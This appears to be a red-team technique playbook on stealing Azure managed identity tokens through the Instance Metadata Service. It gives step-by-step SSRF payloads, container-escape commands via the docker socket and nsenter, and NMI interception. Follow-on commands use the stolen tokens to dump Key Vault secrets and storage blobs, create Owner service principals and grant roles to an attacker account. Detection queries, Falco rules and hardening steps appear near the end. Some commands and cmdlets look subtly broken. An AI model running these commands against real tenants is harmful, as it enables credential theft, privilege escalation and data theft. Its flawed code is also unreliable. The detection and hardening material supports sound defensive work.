| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-007 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Tokens, T1552.001 - Unsecured Credentials (Cloud Instance Metadata) |
| Tactic | Credential Access, Lateral Movement |
| Platforms | Azure VMs, AKS (Kubernetes), App Service, Functions, Container Instances |
| Severity | Critical |
| CVE | CVE-2025-62207 (Azure Monitor SSRF→IMDS), CVE-2024-29989 (Azure Monitor Agent), CVE-2025-9074 (Docker Container Escape) |
| Technique Status | ACTIVE |
| Last Verified | 2025-11-24 |
| Affected Versions | All Azure managed services using IMDS (IMDSv1), Kubernetes workload identity, App Service managed identity |
| Patched In | N/A (design inherent to cloud metadata services; mitigated via IMDSv2 enforcement, network isolation, least-privilege RBAC) |
| Author | SERVTEP – Artur Pchelnikau |
Note: All section numbers have been dynamically renumbered based on applicability for this technique.
Concept: Managed identity token theft is a lateral movement and privilege escalation attack targeting Azure’s Instance Metadata Service (IMDS) to extract short-lived tokens that grant access to cloud resources. Attackers exploit three primary scenarios: (1) SSRF-to-IMDS - leveraging application-level Server-Side Request Forgery vulnerabilities to trick web servers into requesting tokens from the metadata endpoint (169.254.169.254), (2) Container Escape - breaking out of containerized workloads (Docker, Kubernetes) to directly access the host’s IMDS and steal cluster-wide managed identity tokens, and (3) Workload Identity Interception - in Kubernetes environments, intercepting requests to the Node Management Identity (NMI) pod to capture or redirect token requests. Unlike user tokens (bound to individual accounts), managed identity tokens grant access to all resources the workload is assigned to—storage accounts, databases, key vaults, and subscriptions—making them extremely valuable for lateral movement and privilege escalation.
Attack Surface: Azure Instance Metadata Service endpoint (http://169.254.169.254/metadata/identity/oauth2/token), web application input handling (SSRF vulnerabilities), container runtimes (Docker, containerd), Kubernetes networking (pod-to-pod communication), and cloud workload isolation boundaries.
Business Impact: Unrestricted access to cloud resources assigned to the compromised workload. Attackers obtain valid Azure tokens for managed identities granting them permissions to storage accounts, SQL databases, Key Vault secrets, subscriptions, and other resources. Because managed identity tokens are automatically refreshed and generated on-demand, attackers can maintain indefinite access. Unlike user compromise, managed identity theft is invisible to identity logs (no sign-in events, no Conditional Access alerts, no MFA challenges) and bypasses all user-centric security controls. A single compromised container can provide lateral movement to dozens of other Azure services and accounts.
Technical Context: Managed identity tokens are designed to be accessed only from within Azure infrastructure, but network isolation is often weak. IMDS is accessible from any process on the host VM/container (including compromised applications). Detection requires monitoring network traffic for IMDS requests, which most organizations lack. Reversibility is NONE—tokens remain valid until explicit revocation or expiration (typically 1-24 hours).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.1 | Pod security and container isolation in AKS |
| CIS Benchmark | 2.1.5 | Protect service account credentials from exposure |
| DISA STIG | AC-2.2.3 | Service account lifecycle and credential management |
| NIST 800-53 | AC-3 | Access Enforcement - Network isolation, least privilege RBAC |
| NIST 800-53 | SC-7 | Boundary Protection - Limit IMDS access to intended workloads |
| NIST 800-228 | Cloud-Native Workload Security - Container scanning, runtime monitoring | |
| GDPR | Art. 32 | Security of Processing - Encryption of tokens in transit, workload isolation |
| DORA | Art. 9 | Protection and Prevention - Workload identity governance |
| NIS2 | Art. 21 | Cyber Risk Management - Token lifecycle and revocation |
| ISO 27001 | A.9.2.5 | Access Control - Managed identity assignment and RBAC |
| ISO 27001 | A.13.1.3 | Segregation - Isolation between workloads and metadata services |
| ISO 27005 | Risk Scenario | “Compromise of Service Account Credentials” and “Unauthorized Cloud Resource Access” |
Supported Versions:
Tools:
Objective: Discover managed identities assigned to workloads and assess IMDS exposure.
# Check for managed identities on Azure VMs
Connect-AzAccount
# List all VMs with managed identities enabled
Get-AzVM | Where-Object { $_.Identity.Type -ne $null } |
Select-Object Name, ResourceGroupName, Identity.Type, @{
N="IdentityId"
E={$_.Identity.UserAssignedIdentities.Keys}
}
# Check for IMDS endpoint accessibility in VMs (requires VM access)
$vm = Get-AzVM -Name "vulnerable-vm" -ResourceGroupName "rg"
$vmAgentCommandId = "run-command-id"
# Test IMDS accessibility from within VM
Invoke-AzVMRunCommand -ResourceGroupName "rg" -VMName "vulnerable-vm" `
-CommandId "RunShellScript" `
-ScriptPath "C:\test-imds.ps1"
# Check for SSRF vulnerabilities in App Service apps
Get-AzWebApp | Select-Object Name, @{
N="HasManagedIdentity"
E={$_.Identity -ne $null}
}, @{
N="AuthSettings"
E={$_.SiteConfig.Metadata}
}
# Check AKS workload identity configuration
$aks = Get-AzAksCluster -Name "aks-cluster" -ResourceGroupName "rg"
Write-Host "Workload Identity Enabled: $($aks.OidcIssuerProfile.Enabled)"
# Check IMDS version on VMs (IMDSv1 vs IMDSv2)
Get-AzVMMetadataInfo -ResourceGroupName "rg" -VMName "vm-name" |
Select-Object -Property MetadataServiceAvailable, MetadataVersion
What to Look For:
Version Note: Workload identity is consistent across all modern Azure versions; older deployments may use legacy pod-managed identity (deprecated).
Supported Versions: All Azure VMs with IMDSv1 enabled (default prior to 2024).
Objective: Locate an application-level SSRF vulnerability that allows requesting arbitrary URLs.
Command (Using OWASP ZAP):
# Automated SSRF vulnerability scanning
zaproxy --cmd \
-url "https://vulnerable-app.azurewebsites.net" \
-quickout report.html
# Manual SSRF testing - try common vulnerable parameters
# GET /api/fetch?url=http://example.com
# GET /api/image?src=http://example.com
# POST /api/webhook with URL parameter
# GET /proxy?target=http://example.com
# Example vulnerable code (Node.js):
# app.get('/api/fetch', async (req, res) => {
# const data = await fetch(req.query.url); // SSRF!
# res.send(data);
# });
Expected Output:
[+] SSRF vulnerability found in /api/fetch endpoint
[+] Parameter: 'url'
[+] Can request arbitrary URLs from server context
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use SSRF vulnerability to request a token from IMDS endpoint.
Command (Using curl through SSRF):
# Construct IMDS token request
IMDS_ENDPOINT="http://169.254.169.254/metadata/identity/oauth2/token"
RESOURCE="https://management.azure.com/" # Azure Resource Manager
API_VERSION="2017-09-01"
# URL-encode the request for SSRF injection
SSRF_PAYLOAD="$IMDS_ENDPOINT?api-version=$API_VERSION&resource=$RESOURCE"
# Exploit SSRF vulnerable endpoint
curl -X GET "https://vulnerable-app.azurewebsites.net/api/fetch?url=$SSRF_PAYLOAD"
# Expected response (JSON with token):
# {
# "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
# "expires_in": "3600",
# "expires_on": "1641234567",
# "not_before": "1641230667",
# "resource": "https://management.azure.com/",
# "token_type": "Bearer"
# }
Alternative (Direct IMDS access if compromised web app):
# If attacker has code execution on web server
$IMDS_ENDPOINT = "http://169.254.169.254/metadata/identity/oauth2/token"
$RESOURCE = "https://management.azure.com/"
# Request token from IMDS (IMDSv1 - no auth header required)
$response = Invoke-WebRequest -Uri "$IMDS_ENDPOINT?api-version=2017-09-01&resource=$RESOURCE" `
-Headers @{ "Metadata" = "true" } `
-UseBasicParsing
$token = $response.Content | ConvertFrom-Json
Write-Host "[+] Managed Identity Token: $($token.access_token.Substring(0, 50))..."
Expected Output:
[+] Managed Identity Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRy...
[+] Token Resource: https://management.azure.com/
[+] Expires In: 3600 seconds
[+] Token can access: All resources assigned to this VM's managed identity
What This Means:
OpSec & Evasion:
Troubleshooting:
Metadata: true header in request.Objective: Leverage stolen managed identity token to access cloud resources.
Command (Using Azure CLI with token):
# Authenticate using stolen token
az login --service-principal -u "MANAGED_IDENTITY_CLIENTID" `
-p "STOLEN_TOKEN" `
--tenant "TENANT_ID"
# Enumerate accessible resources
az resource list --query "[].name" | ConvertFrom-Json
# Example: Access storage account assigned to managed identity
$storageAccountName = "storageaccount123"
$containerName = "sensitive-data"
az storage blob list --account-name $storageAccountName `
--container-name $containerName
# Download sensitive files
az storage blob download --account-name $storageAccountName `
--container-name $containerName `
--name "secrets.txt" `
--file "C:\temp\secrets.txt"
# Example: Access Key Vault secrets
az keyvault secret list --vault-name "TargetKeyVault"
az keyvault secret show --vault-name "TargetKeyVault" `
--name "DatabasePassword"
# Example: Access SQL Database
$sqlServer = "sql-server.database.windows.net"
$database = "SensitiveDB"
# Connect with token-based auth
sqlcmd -S $sqlServer -d $database -G -U "MANAGED_IDENTITY_EMAIL"
# Example: Lateral movement - list subscriptions
az account list --output table
# Escalate: If managed identity has Owner role, create new resources or admin accounts
az role assignment create --assignee "NEW_ATTACKER_ACCOUNT" `
--role "Contributor" `
--scope "/subscriptions/SUBSCRIPTION_ID"
Expected Output:
[+] Authenticated as managed identity
[+] Accessible resources:
- Storage Account: storageaccount123
- SQL Database: SensitiveDB
- Key Vault: TargetKeyVault
[+] Downloaded: secrets.txt (contains DB passwords)
[+] Retrieved: DatabasePassword from Key Vault
[+] Connected to SQL Database as service principal
[+] Escalated privileges: Created new contributor account
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Azure container services (AKS, App Service, Container Instances).
Objective: Gain code execution within a container and escape to access host IMDS.
Command (Container escape via docker-socket exposure):
# If Docker socket is exposed in container (/var/run/docker.sock)
# Attacker can escape container via privileged commands
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine sh
# From host, access IMDS:
curl -X GET "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
-H "Metadata: true"
Alternative (Kubernetes pod escape via privileged pod):
# If pod is created with privileged security context
kubectl run privesc --image=alpine --privileged -- sh
# Inside pod, escape to host via nsenter
nsenter -t 1 -n -s -i /bin/bash
# Access IMDS from host namespace:
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
-H "Metadata: true"
Alternative (CVE-2025-9074 - Docker Desktop escape):
# Docker Desktop running in container with privilege
# Exploit CVE-2025-9074 to escape to host
# (Requires specific Docker version; proof-of-concept available)
./cve-2025-9074-exploit.sh
# After escape, access IMDS:
curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/ \
-H "Metadata: true"
Expected Output:
[+] Container escape successful
[+] Now running in host namespace
[+] IMDS accessible from host context
[+] Retrieved managed identity token for entire cluster
What This Means:
OpSec & Evasion:
Objective: Retrieve token and escalate to other cloud resources.
Command:
# Request token for each resource type
TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
-H "Metadata: true" | jq -r '.access_token')
# Use token to enumerate subscriptions and resources
curl -s "https://management.azure.com/subscriptions?api-version=2020-01-01" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {id, displayName}'
# Access storage accounts
TOKEN_STORAGE=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://storage.azure.com/" \
-H "Metadata: true" | jq -r '.access_token')
curl -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list" \
-H "Authorization: Bearer $TOKEN_STORAGE"
# For Kubernetes, token can be used to access multiple Azure resources
# If cluster has Owner role, attacker can provision new VMs, modify firewall rules, etc.
Expected Output:
[+] Successfully retrieved tokens for:
- Azure Resource Manager
- Azure Storage
- Azure SQL
- Key Vault
[+] Can access 45+ storage containers across subscriptions
[+] Can modify firewall rules in 12+ subscriptions
[+] Can create new compute resources and admin accounts
Supported Versions: AKS with workload identity enabled.
Objective: Gain code execution within a Kubernetes pod.
Command (via application vulnerability or pod misconfiguration):
# If vulnerable pod (e.g., web server) is compromised
kubectl exec -it vulnerable-pod -- /bin/bash
# Or, if pod security is weak:
# Attacker can create malicious pod in same namespace
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attacker-pod
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c", "sleep 3600"]
serviceAccountName: default # Reuse pod's service account
EOF
Expected Output:
[+] Pod compromised
[+] Access to pod network namespace
[+] Can intercept network traffic to IMDS
Objective: Position attacker pod to intercept or redirect managed identity token requests.
Command (Using netcat to intercept requests):
# Inside compromised pod, monitor traffic to IMDS
# NMI pod on each node intercepts requests to http://169.254.169.254
# Use tcpdump to capture IMDS requests
tcpdump -A "host 169.254.169.254" | grep -A 5 "oauth2/token"
# Or, use socat to redirect IMDS requests
socat TCP-LISTEN:169.254.169.254:8080,fork TCP:169.254.169.254:80
# Alternative: Directly call NMI pod (if accessible)
# NMI runs as DaemonSet on each node
NMI_POD=$(kubectl get pods -n kube-system -l app=aad-pod-identity-nmi -o jsonpath='{.items[0].metadata.name}')
# Request token through NMI
curl -s "http://$NMI_POD:8080/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
-H "Metadata: true"
Expected Output:
[+] NMI request intercepted
[+] Captured managed identity token in transit
[+] Token valid for cluster identity
Objective: Access additional Azure resources using stolen token.
Command:
# Token obtained from NMI interception can be used against Azure Resource Manager
TOKEN="<INTERCEPTED_TOKEN>"
# List all accessible resources (cluster may have broad permissions)
curl -s "https://management.azure.com/subscriptions?api-version=2020-01-01" \
-H "Authorization: Bearer $TOKEN"
# Lateral movement: Access storage account assigned to cluster
STORAGE_TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://storage.azure.com/" \
-H "Metadata: true" | jq -r '.access_token')
# Download sensitive data
curl -s "https://clusterdata.blob.core.windows.net/backups?restype=container&comp=list" \
-H "Authorization: Bearer $STORAGE_TOKEN"
# Escalate: Create new service principal or admin user if cluster has sufficient permissions
az ad sp create-for-rbac --name attacker-principal --role Owner
PoC Verification Command:
# Test 1: Verify IMDS is accessible from VM/container
curl -X GET "http://169.254.169.254/metadata/instance?api-version=2017-08-01" \
-H "Metadata: true" 2>/dev/null && echo "[+] IMDS accessible" || echo "[-] IMDS not accessible"
# Test 2: Verify managed identity token can be obtained
TOKEN_RESPONSE=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
-H "Metadata: true")
if echo "$TOKEN_RESPONSE" | grep -q "access_token"; then
echo "[+] Managed identity token retrieved"
else
echo "[-] Token retrieval failed"
fi
# Test 3: Verify token can be used for API calls
TOKEN=$(echo "$TOKEN_RESPONSE" | jq -r '.access_token')
curl -s "https://management.azure.com/subscriptions?api-version=2020-01-01" \
-H "Authorization: Bearer $TOKEN" | jq '.value | length' && echo "[+] Token is valid"
Rule Configuration:
SPL Query:
index=network dest_ip="169.254.169.254" dest_port=80 OR dest_port=443
| stats count, values(src_ip), values(src_host), values(http_request) by dest_ip
| search http_request="*metadata*" OR http_request="*oauth2*"
| where count > 0
| rename src_ip as source_ip, src_host as source_host
What This Detects:
Rule Configuration:
SPL Query:
index=azure_signinlogs ServicePrincipalId!="" ResourceDisplayName="Azure Service Management"
| stats count, values(IPAddress), values(DeviceDetail.deviceId), values(UserAgent), values(Location.countryOrRegion) by ServicePrincipalName, ServicePrincipalId
| where DeviceDetail.deviceId=="" OR IPAddress!="AzureBackend"
| search count > 5
What This Detects:
Rule Configuration:
KQL Query:
// Detect IMDS access from unusual sources (containers, pods)
let suspicious_imds_sources = dynamic(["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]); // Private subnets
CommonSecurityLog
| where DestinationIp == "169.254.169.254"
| where DestinationPort == 80 or DestinationPort == 443
| where RequestUrl has "metadata" or RequestUrl has "oauth2"
| extend SourceSubnet = extract(@"^(\d+\.\d+\.\d+)", 1, SourceIp)
| where SourceSubnet !in (suspicious_imds_sources) // External source
| project
TimeGenerated,
SourceIp,
DestinationIp,
DestinationPort,
RequestUrl,
RiskLevel="HIGH",
AttackType="Managed Identity Token Theft"
What This Detects:
Rule Configuration:
KQL Query:
// Detect managed identity token usage from unusual IPs/locations
SigninLogs
| where ServicePrincipalId != ""
| where CorrelationId !in (
AuditLogs
| where ActivityDisplayName == "Managed Identity Token Request"
| project CorrelationId
)
| join kind=inner (
MicrosoftGraphActivityLogs
| where RequestUri contains "/resource" or RequestUri contains "/subscriptions"
| where UserAgent != "Python/*" and UserAgent != "curl/*"
) on ServicePrincipalId
| project
TimeGenerated,
ServicePrincipalDisplayName,
IPAddress,
Location.countryOrRegion,
RiskIndicator="Token usage from non-expected source - possible theft"
What This Detects:
Event ID: 4624 (Account Logon)
Manual Configuration (Group Policy):
gpupdate /forceMinimum Version: Falco 0.31+
- rule: Suspicious IMDS Access from Container
desc: Detect container process accessing IMDS metadata service
condition: >
open_read
and container
and fd.sip = "169.254.169.254"
and not proc.name in (known_metadata_accessors)
output: >
Suspicious IMDS access detected
(container=%container.name proc=%proc.name pid=%proc.pid url=%fd.name)
priority: WARNING
- rule: Container Escape via Docker Socket
desc: Detect privileged container accessing docker socket
condition: >
open_read
and container
and fd.name = "/var/run/docker.sock"
output: >
Container accessing docker socket (possible escape attempt)
(container=%container.name proc=%proc.name)
priority: CRITICAL
Alert Name: “Azure Instance Metadata Service (IMDS) token requested from unusual process”
Alert Name: “Suspicious metadata service access pattern detected”
Search-UnifiedAuditLog -Operations "Managed Identity Token Request" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) |
Select-Object UserIds, Operations, CreationDate, AuditData |
Export-Csv -Path "C:\ManagedIdentity_Audit.csv"
1. Enforce IMDSv2 on All Azure VMs
IMDSv2 requires PUT session token, blocking simple SSRF attacks.
Manual Steps (Azure Portal):
PowerShell:
# Enable IMDSv2 on all VMs
Get-AzVM | ForEach-Object {
Update-AzVM -ResourceGroupName $_.ResourceGroupName `
-VM $_ `
-HttpTokenRequired $true # Enforce IMDSv2
}
# Verify enforcement
Get-AzVM | Select-Object Name, @{N="IMDSv2";E={$_.OSProfile.AllowExtensionOperations}}
2. Limit IMDS Access via Network Policies (AKS)
Restrict which pods can access IMDS endpoint.
Manual Steps (Kubernetes):
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-imds-access
spec:
podSelector: {} # All pods
policyTypes:
- Egress
egress:
- to:
- podSelector: {}
ports:
- protocol: TCP
port: 53 # DNS only
- protocol: UDP
port: 53
- to:
- namespaceSelector:
matchLabels:
name: kube-system
ports:
- protocol: TCP
port: 443
---
# Explicit allow for NMI daemon
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-nmi-imds
namespace: kube-system
spec:
podSelector:
matchLabels:
app: aad-pod-identity-nmi
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 169.254.169.254/32
ports:
- protocol: TCP
port: 80
3. Implement Least-Privilege RBAC for Managed Identities
Minimize permissions granted to service principals.
Manual Steps (PowerShell):
# Audit managed identity permissions
$mi = Get-AzUserAssignedIdentity -Name "app-managed-identity" -ResourceGroupName "rg"
# Get all role assignments for this identity
Get-AzRoleAssignment -ObjectId $mi.PrincipalId |
Select-Object DisplayName, RoleDefinitionName, Scope
# Remove overly permissive roles
Get-AzRoleAssignment -ObjectId $mi.PrincipalId |
Where-Object { $_.RoleDefinitionName -eq "Owner" } |
Remove-AzRoleAssignment
# Assign only needed roles
New-AzRoleAssignment -ObjectId $mi.PrincipalId `
-RoleDefinitionName "Storage Blob Data Reader" `
-Scope "/subscriptions/.../resourceGroups/rg/providers/Microsoft.Storage/storageAccounts/mysa"
4. Scan for and Remove SSRF Vulnerabilities
SSRF is the primary entry point for IMDS attacks.
Manual Steps:
5. Monitor IMDS Access in Real-Time
Enable logging and alerting for all IMDS requests.
Manual Steps (Azure Sentinel):
6. Implement Pod Security Standards (AKS)
Restrict privileged containers and host access.
Manual Steps:
# Apply Pod Security Policy
kubectl apply -f - <<EOF
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
hostNetwork: false
hostIPC: false
hostPID: false
runAsUser:
rule: 'MustRunAsNonRoot'
seLinux:
rule: 'MustRunAs'
seLinuxOptions:
level: "s0:c123,c456"
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'
readOnlyRootFilesystem: false
EOF
Network:
Logs:
Behavioral:
# Immediate container/pod isolation
kubectl delete pod compromised-pod -n namespace
# Or, disable managed identity temporarily
az vm update --resource-group rg --name vm-name --assign-identity null
# Force token refresh for all resources
# (Tokens expire automatically in 1-24 hours; no explicit revocation)
# But: Remove role assignments to limit damage
Get-AzRoleAssignment -ObjectId $mi.PrincipalId | Remove-AzRoleAssignment
# Check what resources were accessed using the token
Search-AzGraph -Query "resources | where type == 'microsoft.storage/storageaccounts'" `
-SkipToken $null | Export-Csv investigation.csv
# Review audit logs
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-3) `
-FreeText "Service Principal" | Export-Csv audit.csv
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-APP-001] Public-Facing Web App Exploitation | SSRF vulnerability in web app |
| 2 | Credential Access | [CA-TOKEN-007] | Managed Identity Token Theft (this technique) |
| 3 | Lateral Movement | [LM-RBAC-002] Cloud Privilege Escalation | Use token to access other resources |
| 4 | Data Exfiltration | [EX-CLOUD-001] Cloud Storage Data Theft | Download sensitive data via stolen token |
| 5 | Persistence | [PE-WORKLOAD-001] Malicious Container Image | Deploy backdoor container with token access |